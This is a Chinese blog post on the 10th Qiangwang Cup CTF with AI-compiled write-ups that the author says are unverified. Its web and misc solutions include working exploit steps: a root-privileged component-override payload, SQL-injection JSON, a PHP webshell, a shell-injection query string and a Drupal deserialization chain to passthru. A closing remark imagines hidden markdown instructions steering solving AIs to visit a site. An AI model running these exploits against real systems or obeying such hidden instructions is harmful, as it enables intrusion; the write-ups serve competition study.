第十届强网杯参赛有感(附题目附件)
原创
EuSRC安全实验室
EuSRC安全实验室
EuSRC安全实验室
2026年11月7日 18:38
陕西
去阅读
昨天偶然刷到 Nu1L 那篇《关于暂停 N1CTF 的决定》 突然意识到从\"古法CTF\",到今年 Agent 开始主导解题,也就这三年。
这里附上部分题目的 WP,这次解题大多有 AI 辅助,所以下面这些 WP 也是 AI 整理的,建议想要研究的师傅们对着题目附件再核实一下~
1. 宇宙微波背景辐射(Misc)
题目信息:附件为 631 MB 的 MKV 容器。ffprobe 解析结果为五类载体:
Stream #0:0 Video 主视频(结尾约 8 秒为雪花)
Stream #0:1 Video 隐藏视频轨(整段雪花,400 帧)
Stream #0:2 Audio 干扰项
Stream #0:3 Subtitle SubRip 字幕(200 条正文,十六进制)
Attachment g2.tar 200 张 PNG
Attachment g4.tar 200 张 PNG
解题过程:
- 拆容器。MKV 底层为 EBML 元素树,音视频/字幕轨位于
Tracks,附件位于Attachments,因此取法不同:
ffmpeg -y -i challenge.mkv -map 0:1 -c copy hidden.mkv
ffmpeg -y -i challenge.mkv -map 0:s:0 hidden.srt
ffmpeg -y -dump_attachment:t \"\" -i challenge.mkv
-c copy 只搬运已编码 packet,不重新编码,保证 400 帧的帧序与像素值不变——这对「相邻帧是否相同」的统计是前提条件。
2. 六段素材:隐藏轨按 [0:200]、[200:400] 切分为两段;字幕正文去掉非 [0-9a-f] 字符后 bytes.fromhex() 再 cv2.imdecode 还原 200 张 PNG;主视频按 start = total - round(fps * 8) 定位尾段(25 fps 时约 200 帧);两个 tar 解包后各 200 张。合计 600 张 960×540 图像。
3. 单帧统计无效。图像直方图仅含 8 与 242 两个值,逐像素求平均 std ≈ 4.78(纯噪声理论值 4.9),分半相关约 0.001,2D FFT、块均值/块方差均与 iid 二值噪声一致,说明文本未以亮度或空间结构编码。
4. 时间稳定性编码。每段 200 帧中,背景噪声逐帧重新随机:同一坐标在相邻两帧取相同值的概率约 0.5;文字覆盖像素逐帧复制同一份噪声,相邻帧同值概率接近 1。逐像素伯努利检验:
score[y,x] = (1/(N-1)) * Σ_t [ B_t[y,x] == B_{t-1}[y,x] ]
以阈值 125 将每帧压为 0/1 位图(雪花灰度铺满 0–255,125 落在直方图谷底附近),统计 199 次相邻帧比较的同值比例,背景期望 0.5,文字区显著高于 0.5。
5. 平滑与拉伸。零假设下单像素标准差 0.5/sqrt(199) ≈ 0.035,文字区 p≈0.55 时仅约 1.4σ,需借助空间连通性:
cv2.GaussianBlur(score, (0,0), 2),等效约 9×9 邻域平均,噪声标准差降至千分之几;np.clip((smooth - 0.49) * 2200, 0, 255),以 0.49 为基线压暗背景、增益放大 0.01 级差异;clip必须先于astype(np.uint8),否则负值回绕成 255。
- 重排与拼接。六段按存放位置编号 part0–part5,按语义顺序
[0,1,4,3,2,5]重排(隐藏轨前半、g2、字幕、g4、隐藏轨后半、主视频尾段),横向拼接前按最小高度裁齐:
f1ag{S | 3cr3t_ | 0f_cM6_ | h1dd3n_ | 1n51d3_ | 5tr34m}
首段以数字 1 冒充字母 l,提交时仅替换第一处前缀为 flag{。
2. 0perator(Misc)
题目信息:目标为 VNC 远程桌面(nc 连接后返回 RFB 003.008),题目描述为酒店大堂自助入住机,flag 位于 /root/flag.txt。
解题过程:
- 入口确认:VNC 密码
123qwe123,连接后为 Chromium kiosk 模式的自助入住机(标题Qiangwang Cup Hotel · SELF CHECK-IN · POWERED BY 0PERATOR,设备编号KIOSK-07),后端为 Flask(kiosk 用户)与 root 设备管理器(D-Bus)。 - TOTP 种子泄漏:首屏「手机动态码验证」直接绘制绑定二维码。对 VNC 画面截图后用
cv2.QRCodeDetector().detectAndDecode解码,得到:
otpauth://totp/0perator:KIOSK-07?secret=ULPYXTUIZVJZQRJVWGM2MISRTLZGJTEF&issuer=0perator
TOTP 为对称凭证,种子即密钥,可在本地按 HMAC-SHA1 / 30 秒 / 6 位生成动态码,服务端仅做数值比对。
3. kiosk 逃逸:启动脚本 /opt/0perator/scripts/start-kiosk.sh 以黑名单中和部分 XFCE 全局快捷键:
<Primary>t F2 <Primary>Delete <Super>
遗漏 <Super>e(Thunar)。按下后弹出文件管理器(kiosk 身份,可浏览根文件系统),右键「Open Terminal Here」打开 xfce4-terminal,取得 kiosk shell(id 返回 uid=1000(kiosk))。
4. 环境与缺陷确认:80 端口 GUEST SUPPORT 页面提供 /downloads/0perator-diag.zip,其中 field-service.md 说明「覆盖目录 /var/lib/0perator/components/user 对 kiosk 可写、覆盖仅在厂商组件降级时生效」。结合 /opt/0perator/device_manager/manager.py 与 component_loader.py,确认四项缺陷:
- 覆盖目录
drwxr-xr-x kiosk kiosk,kiosk 可写; - python 组件验签
verify_manifest(..., include_sha256=False),仅校验清单字段、不绑定entry文件内容(native 组件include_sha256=True,故对printer-driver无效); - 降级开关
/run/0perator/face.status位于 kiosk 可写目录,内容为disabled时走user-override分支; - D-Bus 策略允许
user=\"kiosk\"调用ReloadComponents,无鉴权。
- 利用:复制厂商已签名清单,部署同名
entry载荷,翻转降级开关并触发重载:
mkdir -p /var/lib/0perator/components/user/face-recognition
cp /usr/share/0perator/components/face/manifest.json \\
/var/lib/0perator/components/user/face-recognition/manifest.json
cat > /var/lib/0perator/components/user/face-recognition/face.py <<'PY'
import os
os.system(\"cp /root/flag.txt /home/kiosk/flag.txt; chmod 644 /home/kiosk/flag.txt; id > /home/kiosk/pwn.txt\")
def on_load(ctx):
return None
PY
mkdir -p /run/0perator
printf 'disabled' > /run/0perator/face.status
dbus-send --system --print-reply --dest=org.operator.DeviceManager \\
/org/operator/DeviceManager org.operator.DeviceManager1.ReloadComponents
加载由 importlib 完成,模块顶层代码在导入时即执行;进程身份为 root,故载荷以 root 权限运行。返回 JSON 中 face-recognition 的 source 为 user-override,failures 为空(清单验签通过),printer-driver 仍为 vendor 且带 sha256。
6. 读取结果:cat /home/kiosk/pwn.txt 返回 uid=0(root),/home/kiosk/flag.txt 为 flag。
3. NeuronShuffle(Misc)
题目信息:附件 check.py、model_A.npz、model_B.bin。model_A.npz 可正常加载,包含 8 个数组:
| 数组 | 形状 | 作用 |
|---|---|---|
k0 |
(16,) | 第 2 层偏置 |
k1 |
(16,32) | 32→16 权重 |
k2 |
(40,48) | 48→40 权重 |
k3 |
(48,) | 第 1 层偏置 |
k4 |
(40,) | 第 3 层偏置 |
k5 |
(48,32) | 32→48 权重 |
k6 |
(32,40) | 40→32 权重 |
k7 |
(32,) | 输出层偏置 |
网络拓扑为 32→48→40→32→16,隐层宽度 48/40/32 即后续置换参数。model_B.bin 为等长黑盒副本(前 16 字节为摘要形式,字节分布近均匀),无法直接解析,属于干扰项。
解题过程:
- 校验器分析:
check.py输入为三组以;分隔、组内以,分隔的整数,规范化后做两级哈希:
V = \"cf8303ef7e9fc6f51baf27b6e2c8763bd199a0a24c5294bcdaca3ddef6e47864\"
canon = \";\".join(\",\".join(str(int(v)) for v in s.split(\",\")) for s in text.strip().split(\";\"))
body = hashlib.sha256(canon.encode()).hexdigest()[:32]
assert hashlib.sha256((\"ns::\" + body).encode()).hexdigest() == V
print(f\"[+] correct! flag = flag{{{body}}}\")
flag 即 body,无法爆破,必须真正还原出正确的索引序列。
2. 统计异常:8 个数组共 5384 个 float64,去重后仅 926 个唯一值。若权重为逐层独立采样,上千个连续分布随机数几乎不可能出现如此高的重复率,故权重来自一个候选池并按索引取用。
3. PRNG 复现:
import numpy as np
samples = np.random.default_rng(20261101).normal(0, 0.6, 974)
# 974 个样本覆盖全部 926 个唯一值;k5[0] 与 samples[:32] 逐位相等
assert np.array_equal(k5[0], samples[:32])
种子为日期 20261101,池长 974 为覆盖全部权重的下界(最后一个被用到的值位于下标 973)。
4. 索引还原:用同一 PRNG 重建样本序列,将每个权重反查为序列下标;按三个隐层宽度 48/40/32 分别构造置换,还原为三组整数,按 a;b;c 提交并通过两级哈希。
4. Dreambound(Misc)
题目信息:附件 checkpoint.pt(4,245,557 字节)、model.py(1,715 字节)、requirements.txt。模型结构:
OBS_DIM, ACT_DIM, H_DIM = 4, 5, 384
class WorldModel(nn.Module):
def __init__(self):
self.gru = nn.GRUCell(act_dim, h_dim) # 5 -> 384
self.decoder = Sequential(Linear(384,256), ReLU(), Linear(256,4))
self.reward_head = Sequential(Linear(384,512), ReLU(), Linear(512,512), ReLU(), Linear(512,1))
self.continue_head = Sequential(Linear(384,128), ReLU(), Linear(128,1))
总参数量 1,059,718。解码与 continue 头未被服务端使用,实际参与打分的是 GRU 与 reward\_head。
解题过程:
- 协议探测:服务端非 HTTP,而是裸 TCP 按行读取的一行 JSON。发送
{\"actions\":[48 ints]}\返回{\"ok\":true,\"score\":...};带 HTTP 头时首行解析失败,统一返回bad submission。 - 打分函数确认:本地用
imagine()复现,score等于 48 步 reward 之和:
@torch.no_grad()
def imagine(model, actions):
h = model.initial(actions.shape[0], actions.device)
rewards = []
for t in range(actions.shape[1]):
h = model.step(h, F.one_hot(actions[:, t], model.act_dim).float())
rewards.append(model.predict_reward(h))
return torch.stack(rewards, dim=1)
以全 1 序列做指纹:本地 r.sum() = -63.121872,服务端返回 -63.1219,四位小数一致,确认打分函数。
3. 常量基线:全 0 为 7.146025、全 1 为 -63.121872、全 2 为 -208.885254、全 3 为 24.797272、全 4 为 170.508408。全 4 仍未触发 flag,说明阈值高于 170.5;搜索空间 5^48 ≈ 2.8×10^33,无法暴力。
4. 梯度法失败:采用 straight-through Gumbel-softmax 连续松弛,600 步多随机种子,最优离散结果仅 28.26(低于全 4 基线)。原因:GRU 逐时间步递推,软输入与 one-hot 轨迹差异大;reward 对单个动作非常敏感,软松弛抹平了尖锐性。
5. 批量离散搜索:
@torch.no_grad()
def batch_score(seqs): # (B, 48) -> (B,)
B = seqs.shape[0]
h = torch.zeros(B, 384)
total = torch.zeros(B)
for t in range(48):
h = model.gru(F.one_hot(seqs[:, t], 5).float(), h)
total += model.reward_head(h).squeeze(-1)
return total
坐标下降:固定其余 47 步,枚举第 t 步 5 种取值,一轮评估 192 条;收敛后外层做随机双点扰动(30 轮)跳出局部最优。
6. 收敛结果:最终序列将 GRU 隐状态推离训练分布,单步 reward 峰值 564,48 步累计 1290,超过服务端阈值。该序列对单点扰动敏感(修改一个动作可导致分数显著下降),验证了模型处于分布外区域。
5. 谍影重重7(Misc)
题目信息:无附件,容器按六问逐层放料。初始材料:
browser.keys 594,586 B NSS keylog
manager-r2-take01.pcap 22,930,380 B 管理侧流量
internal-r2-take01.pcap 15,410,201 B 内网流量
关键考点:TLS 1.3 流量解密;RFB/Tight 画面还原;RDP 与 RDPDR 设备重定向重组;restic 仓库恢复;.NET 加密容器逆向。
解题过程:
- 第 1 问:虚拟机定位。
browser.keys含 897 个client_random,其中 457 个带应用流量密钥。以 Wireshark 配置(Pre)-Master-Secret log后,过滤http.request.uri contains \"vncwebsocket\",唯一命中tcp.stream == 68:
GET /api2/json/nodes/pve-lab/qemu/219/vncwebsocket?port=5900&vncticket=... HTTP/1.1
Host: 192.168.117.10:8006
Upgrade: websocket
Sec-WebSocket-Protocol: binary
得节点 pve-lab、VMID 219。
2. 第 2 问:首帧哈希。导出 stream 68 服务端字节流,剥离 HTTP 101 响应与 WebSocket 帧后为 RFB 流:RFB 003.008、VNC 认证(16 字节 challenge)、SecurityResult=OK、1024×768、桌面名 QEMU (OFFICE01)。客户端 SetPixelFormat 将像素格式改为 RSHIFT=0/GSHIFT=8/BSHIFT=16,因此 Tight 解码所得为 RGB 顺序、3 字节/像素。
首个 FramebufferUpdate 位于偏移 158,共 143 个矩形、287,233 字节,ctype 分布为 basic(39)、palette+zlib(101 + 1)、fill(2)。Tight 解码的五个关键点:
拼接后覆盖 786432/786432 像素,解码结束位置与下一条 RFB 消息起点(287391)吻合,sha256(RGB888) = ce1f5a34…。
- compression-control 高 4 位为类型、低 4 位为 zlib 流重置位;
- 4 条 zlib 流跨矩形保持状态,不能逐矩形新建
decompressobj; - 调色板计数为
count+1; - 位宽不能按颜色数硬推(本抓包含 15 色使用 8bpp 的块),按「解压长度 == 行字节数×高」反推 1/2/4/8bpp;
- fill 颜色为 3 字节。
- 第 3 问:RDP 身份。
internal仅一条 TCP(10.23.8.10:49702 → 10.23.8.41:3389),X.224 Connection Request 携带明文Cookie: mstshash=Tsuki,TLS 证书id-at-commonName为CORE01,得账户CORE01\\Tsuki。 - 第 4 问:口令与 restic。以容器追加的
rdp.keys解密会话,回放首次远程登录前的记事本操作:正文单击为点(.)、拖动标题栏为划(-)、单击外部桌面分组、仅激活窗口的单击不计。解码:
-. - ....- ...- .--. ..... -..- ---.. ....- ..--- -.. -..
N T 4 V P 5 X 8 4 2 D D
得口令 NT4VP5X842DD。同一会话中,按 TPKT(4) → X.224 DT(3) → MCS SendData 切分,仅取 channelId == 1004 的净荷;每条净荷为一个完整 RDPDR 报文(Component=0x4472 + PacketId)。重组逻辑:
restic 仓库文件名即内容 SHA-256,重组后可逐个校验。以口令解锁仓库,两份快照时间分别为 00:23:16 与 00:23:30,恢复较新一份;密钥文件 SHA-256 为 d7d68e7e…。
IRP_MJ_CREATE记录CompletionId与 UTF-16LE 路径;DeviceIoCompletion以CompletionId关联,建立FileId → 路径映射;IRP_MJ_WRITE按(Offset, Length)稀疏写入,空洞补零。
- 第 5 问:数字键盘口令。恢复快照含
MouseVault.exe与core-assets.vault。程序输入 12 位数字口令,界面数字键每次交互后重新洗牌,需将 RFBPointerEvent坐标与同时刻画面帧对齐,按「按下时落点所在数字键」记录;剔除取消拖动、处理退格、保留前导零,得006187393179。 - 第 6 问:解密容器。dnSpy 读取 IL,算法为 PBKDF2-HMAC-SHA256(200,000 次迭代、派生 64 字节),前 32 字节为 AES-CBC key、后 32 字节为 HMAC key;文件结构
salt(16) + IV(16) + HMAC(32) + 密文;先验签再解密、去 PKCS#7 填充,内层为「文件名长度 + 文件名 + 内容」,解出core-assets.db(2,424,832 字节,SHA-2565dec31e1…),SQLite 完整性检查通过。
6. cwp(Web)
题目信息:附件为 PHP 博客系统源码,线上版本存在增量接口(/api/archive、/api/comments/recent、评论限速),实际利用以线上源码为准。
关键考点:批量执行器数组错位;SQL 注入;状态机 hook 身份伪造;模板写 PHP;内网服务提权。
解题过程:
- 路由与权限面:公开
GET /api/articles、/api/tags、POST /api/articles/{id}/comments;POST /api/users、/api/manage/*需 staff;POST /bulk.php为公开入口但路由声明\"bulk\" => false。 - 数组错位:
bulk_engine()分构建、校验、执行三步,校验结果写入两个独立数组,执行阶段仍用原始下标:
$matched = []; $checked = [];
foreach ($ops as $op) {
if (isset($op[\"err\"])) { $checked[] = $op; continue; } // $matched 不追加
$matched[] = route_bind($op);
$checked[] = op_check(...);
}
foreach ($ops as $i => $op) { $bind = $matched[$i]; $verdict = $checked[$i]; ... }
提交 {\"route\":\"http://:80\",\"verb\":\"POST\"} 使 parse_url() 返回 false,队列中出现失败 op 后,两数组整体错位一格:第 N+1 条 op 的参数会交给第 N 条的 handler 执行。bulk.php 默认策略为 best-effort,单条失败不中断整批,便于反复试错。
3. 两层嵌套与 SQL 注入:外层错位使 /api/bulk 的路由检查失效(bulk=false 不生效);内层 exec_bulk() 只校验 route 为字符串、不校验 verb,因此内层可用 GET。内层再错位一次,使 /api/articles 的 exec_articles_list() 拿到「按评论路由校验、omit 原样保留」的参数:
{\"ops\":[{\"route\":\"http://:80\",\"verb\":\"POST\"},
{\"route\":\"/api/articles/1/comments\",\"verb\":\"POST\",
\"data\":{\"id\":1,\"ops\":[
{\"route\":\"http://:80\",\"verb\":\"POST\"},
{\"route\":\"/api/articles/1/comments\",\"verb\":\"POST\",\"data\":{\"id\":1,\"omit\":\"0) OR 1=1-- -\"}},
{\"route\":\"/api/articles\",\"verb\":\"GET\"}]}},
{\"route\":\"/api/bulk\",\"verb\":\"POST\"}]}
exec_articles_list() 将 omit 映射为 owner_not_in;posts_lookup() 对数组分支做 absint(),对字符串分支直接 implode():
$ids = implode(\",\", (array)$spec[\"owner_not_in\"]);
$conds[] = \"owner NOT IN ($ids)\";
注入确认:草稿 id=5 Roadmap Draft 出现在公开列表。以 UNION 读取 10 列(id, title, slug, owner, excerpt, created_at, status, kind, parent, snap_stale),取得库名 sitedb、staff_accounts 表与真实 staff 登录名。
4. 伪造快照行借身份:注入行按 id 写入行缓存;snap_stale=1 的行进入 snapshot_write(),并按 status . \"_\" . kind 触发 hook。构造两行:
| 列 | 900 行 | 901 行 |
|---|---|---|
| id | 900 | 901 |
| title | foo | y |
| owner | 真实 staff 名 | y |
| status | pending | api |
| kind | changeset | reload |
| snap\_stale | 1 | 1 |
pending_changeset 将全局 PUBLISH_AS 设为该 staff,api_reload 置 HOOK_RUNNING=1 并重放当前批 op;重放中的 POST /api/users 因 staff_session_valid() 读取 publishing_as() 而被视为 staff 操作,匿名创建账号 pwner77(登录返回 200,site_staff cookie 正常下发)。外层 unset($PUBLISH_AS) 位于 rows 循环之后,时序恰好成立。
5. 写入 PHP:后台皮肤编辑器按 name 拼 .php 后缀、内容原样写入:
$path = \"/var/www/uploads/skins/$name.php\";
file_put_contents($path, $code);
访问 /uploads/skins/shell1.php?c=id 返回 uid=33(www-data),取得应用账户权限。
6. 内网提权:/proc/net/tcp 显示 9443/9444/9446/9447 四个 root 端口且仅监听回环。9446 的 hpxd(Perl 单文件守护进程,607 行)存在五项缺陷:
时序处理:vault_put() 只改 raw 不改 cache,注入后需请求 zone 不匹配路径触发 vault_rescan() 清缓存;%qs 按 [&;] 切分后再 pct_decode,命令中分号须写为 %3B。
/ops/code无鉴权,输出完整源码;- 会话 cookie
hpx_id=<token>,<scramble>在scramble为空时仍被视为存在加密参数,cloak_store()以空密钥明文写入会话; - Basic Auth 分支未过滤换行,可将
master_flag=1、otp_done=1、login=root、sudo_until注入会话键; vault_is_master()中sudo_until为短路分支,先于口令摘要校验返回真;files/list将path直接拼入\"/bin/sh\", \"-c\", \"ls -la \" . $dir。
- 命令执行:以 Basic 头注入会话键后请求
/hx_424242/files/list?path=/root%3Bid%3Bcat%20/root/flag.txt,回显中uid=0(root)与 flag 同时出现。
7. ELFStudy(Reverse)
题目信息:elfstudy,43,304 字节(0xA928),ELF64 x86-64 PIE,GCC 15.2 / Ubuntu 构建,功能为 ELF 结构查看器(-q/-p/-s/-y 选项)。Build ID e9e5c048…,MD5 a6f6829f…。
关键考点:ELF 结构异常;加载器重定位机制被用作执行环境。
解题过程:
- 隐藏区域:将 section 覆盖区间标出后,存在两段不属于任何 section、但因
PT_LOAD页对齐填充而会被映射的区域:
| 偏移 | 长度 | 内容 |
|---|---|---|
0x1988..0x2000 |
0x678 | 22 条 24 字节记录 + 描述符(0x1d30) |
0x7325..0x8000 |
0xcdb | 812 字节密文(0x739a..0x76c6)+ .rela.plt 副本(0x76c6..0x7a6e) |
同时 main 末尾调用的 0x3b30 被填为 endbr64 + nop… + ret。
2. 篡改动态符号:.rela.dyn 前四条为手工 RELATIVE,重叠写入 .dynsym 第 57 号符号(std::string::_M_dispose)的字段:
r_offset=0x954 RELATIVE addend=0x2600
r_offset=0x956 RELATIVE addend=0x25f1
r_offset=0x957 RELATIVE addend=0x25ff
r_offset=0x958 RELATIVE addend=0x1d30
最终 st_other=0x26(STV_HIDDEN)、st_info=0(STB_LOCAL)、st_value=0x1d30。文件设置 DT_FLAGS=0xc(DF_TEXTREL|DF_BIND_NOW),加载器先将只读段改为可写,故写 .dynsym 不触发段错误。
3. COPY 重定位构造写原语:
r_offset=0x894 COPY sym57 -> 改写 .dynsym 第 49 号符号字段
r_offset=0x1508 COPY sym49 -> 把 0x390 字节写入 .rela.plt(0x15e0)
第一条将 0x1d30 处 14 字节复制到第 49 号符号,使其变为 LOCAL / st_shndx=1 / st_value=0x1988 / st_size=0x390;第二条将 0x1988 处 0x390 字节(38 条自制 Elf64_Rela)复制进 .rela.plt。
4. 加载器即虚拟机:38 条 Rela 中 22 条有效,关键条目:
| 记录 | r\_offset | 类型 | 作用 |
|---|---|---|---|
| 5 | 0x928 | RELATIVE, addend 0x7325 | 设置 55 号符号 st_value |
| 16 | 0x920 | SIZE64 | 55 号符号改为 `STB\_LOCAL |
| 17 | 0x7386 | R\_X86\_64\_64, sym55 | 触发 glibc IFUNC 调用,跳至 0x7325 |
| 19 | 0x958 | RELATIVE, addend 0x76c6 | 57 号符号指向 .rela.plt 副本 |
| 20 | 0x960 | SIZE64, addend 0x3a8 | 设置 57 号符号 st_size |
| 21 | 0x15e0 | COPY, sym57 | 恢复 .rela.plt,保证程序继续运行 |
glibc 对 STT_GNU_IFUNC 符号在做 R_X86_64_64 时先调用符号地址:
if (ST_TYPE(sym->st_info) == STT_GNU_IFUNC && sym->st_shndx != SHN_UNDEF)
value = ((ElfW(Addr)(*)(void))value)();
而 0x7325 处的 stub 本身也是由 Rela 逐 8 字节「拼」出来的(文件对应位置全为 0)。
5. stub 行为:读取 _DYNAMIC 中 DT_DEBUG 槽(0xad60)取得 r_debug,检查 r_brk[0] != 0xCC;读取 /proc/self/status 的 TracerPid;遍历 r_debug->r_map 的 l_next 检查模块数(≤7);随后对 0x7396 起 203 个 dword 做反向累计和 XOR 解密:
uint32_t acc = 0;
for (int i = 202; i >= 0; --i) {
plain[i] = cipher[i] ^ acc;
if (!plain[i]) break;
acc += plain[i];
}
解密后将 0x3b34 改写为 call 0x739a,接入真正的校验器。
6. 校验器逻辑:校验 argv[1](被用作文件名参数)是否为 flag{32 hex} 形式:检查 dword 0x67616c66(\"flag\")、[+4]=='{'、[+0x25]=='}'、[+0x26]==0,随后将 32 个 hex 字符解码为 16 字节并做哈希比对,匹配则输出 flag accepted。
结果:flag{4865f2079724968a95c217e0ff4db6c6}
8. Crack a Little Smile(Web)
题目信息:Drupal 11.4.11 / PHP 8.3.36;80 端口为 HTTPS(直接发 http 返回 400 The plain HTTP request was sent to HTTPS port)。自定义模块提供 POST /api/presets/export 与 POST /api/presets/import。
关键考点:PHP 对象注入;Drupal 原生 POP 链;provider 黑名单绕过;版本指纹识别。
解题过程:
- 版本锁定:nginx 仅把
*.php交 PHP-FPM,其余后缀按静态返回。拉取/core/modules/system/system.module与官方包对比:
remote : 24812 bytes SHA1 d69864ae3a36dc37003f3694ee4928c638c19b58
11.3.11 : 22929 bytes SHA1 4a8e9911... (diff)
11.4.11 : 24812 bytes SHA1 d69864ae... (MATCH)
访问 /sites/default/settings.php 触发 Warning,泄露 docroot /opt/drupal/web,确认 sites/default/files 可写可访问。
2. 入口与黑名单:export 返回 base64 后的 O:22:\"ResonanceArchivePreset\":5:{...},import 直接 unserialize()。对原始串做命名空间扫描:Symfony\\、Doctrine\\、GuzzleHttp\\、Guzzle\\ 返回 unsupported_provider;Drupal\\、Laminas\\、Twig\\、Psr\\ 与全局类放行。字段校验位于 unserialize() 之后,返回 422 时对象已实例化,析构照常执行。
3. 纯 Drupal 链:phpggc 的常用入口(GuzzleHttp\\Cookie\\FileCookieJar)被黑名单拦截,改为以下链路:
Drupal\\Core\\Discovery\\YamlCacheCollectorDiscovery::__destruct()
→ $this->yamlCacheCollector->destruct()
→ Drupal\\Core\\State\\State::destruct()(继承 CacheCollector)
→ CacheCollector::updateCache()
→ $this->cache->get($cid)
→ Drupal\\Component\\DependencyInjection\\Container::get($cid)
→ unserialize($this->serviceDefinitions[$cid])
→ createService() → call_user_func_array($factory, $arguments)
三个类型与条件细节:
| 问题 | 处理 |
|---|---|
yamlCacheCollector 为 CacheCollectorInterface 类型属性 |
垫一层 State,把 Container 塞进其无类型的 $cache |
updateCache() 需 keysToRemove 非空且调用 lock->acquire() |
keysToRemove=['x'] ;lock=NullLockBackend(恒真) |
Container::get() 返回类型 ?object,passthru 返回 null |
cacheCreated 置真值,命中干净退出分支 |
4. Payload:gadget 放在合法字段 codename 内(属性白名单严格,新增属性会 unreadable_preset);serviceDefinitions['1000000'] 为序列化数组 ['factory'=>'passthru','arguments'=>['/readflag > ... 2>&1']]。base64 后提交,接口返回 422,但反序列化与析构已执行。 |
|
5. 执行与取证:命令以 www-data 执行,输出写入 sites/default/files/,通过 HTTP 回读;换 /readflag(setuid)读取 flag。 |
9. firmware(Reverse)
题目信息:
fw_a 1,038,824 B ELF64 x86-64 entry=0x402a20
fw_b.bin 2,936 B ELF32 RISC-V entry=0x108fe
ota_package.bin 176 B QWBP 格式 OTA 包
关键考点:自定义 OTA 格式;SM3 自校验;TWINE-CTR 解密。
解题过程:
- 静态识别:两个 ELF 均含
.selfhash段,且满足.selfhash == SM3(.text):
fw_a .text=698109 SM3=4b71b9a4f2e3c2c1726acaa884a08c22...
fw_b.bin .text= 2138 SM3=3049e67977c8f70f3965fd6cdddb0301...
fw_b 的 RISC-V 代码中含 SM3 八个 IV 常量(0x7380166f、0x4914b2b9 …),确认自校验为国密 SM3。
2. OTA 结构:
0x000 \"QWBP\" magic
0x004 version = 1
0x008 16 bytes keymat: 00 01 02 ... 0f
0x018 entries = 3
0x03c entry[0]: off=0x60 len=13 crc=aa99175a
0x048 entry[1]: off=0x6d len=12 crc=99c9710f
0x054 entry[2]: off=0x79 len=13 crc=3cdbb649
0x086 \"QWBPFLAG\"
0x08e length = 30
0x092 30 字节密文
三段 section 的 CRC 与 entry 记录一致;QWBPFLAG 密文 30 字节与明文 flag{d230_5a75cf4_d8fb3e5_bae} 等长,说明为流式/CTR 加密。
3. fw\_a 逻辑:strings 得用法 usage: %s <ota_package.bin> <keymat_hex32> <vm_out8_hex16>。main(0x401c10)先校验 OTA 头(magic、version、entry 数 ≤ 8、off+len <= size),在 max(off+len) 处定位 QWBPFLAG 并读出密文。随后对参数做 SM3 截断校验:
校验通过后,0x401f5c 拼出 \"twine-ctr\" 标识,以 keymat 为 128 位 key、vm\_out 为 8 字节 nonce,对 section 与 QWBPFLAG 执行 TWINE-CTR 解密。
0x401df9调用0x403140(SM3 压缩/填充实现)处理 keymat,与.rodata中559a63419fb92be7…比较;0x401e39以同样方式处理内部数据,与b8b3e3f7…比较。
- 参数还原:
fw_b.bin为 RISC-V bootloader,自校验.text后计算 boot token,其.selfhash前 8 字节3049e67977c8f70f即vm_out(fw_a第三参数仅接受 16 个 hex 字符,后 24 字节为完整性标签,不参与 nonce);keymat直接取 OTA 头部0x08..0x17。 - 解密:
./fw_a ota_package.bin 000102030405060708090a0b0c0d0e0f 3049e67977c8f70f
TWINE-CTR 解密 QWBPFLAG 30 字节,得到明文 flag。
写在最后:zKRSA出题人特意用注释隐藏了一段文字
正常渲染markdown渲染是无法看到的,比赛时觉得挺有意思,感兴趣的师傅也可以去公众号附件里自行查看。
其实细想来说,如果这是一段恶意的指令呢?也许大家都已经上线了,或者让 AI 按照某种特定协议访问一下某某网站,这样不就能区分是不是有人全程用 AI 解题了?Just kidding~
完整题目附件及WRITEUP后台私信“强网杯”获取(^v^)
---
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论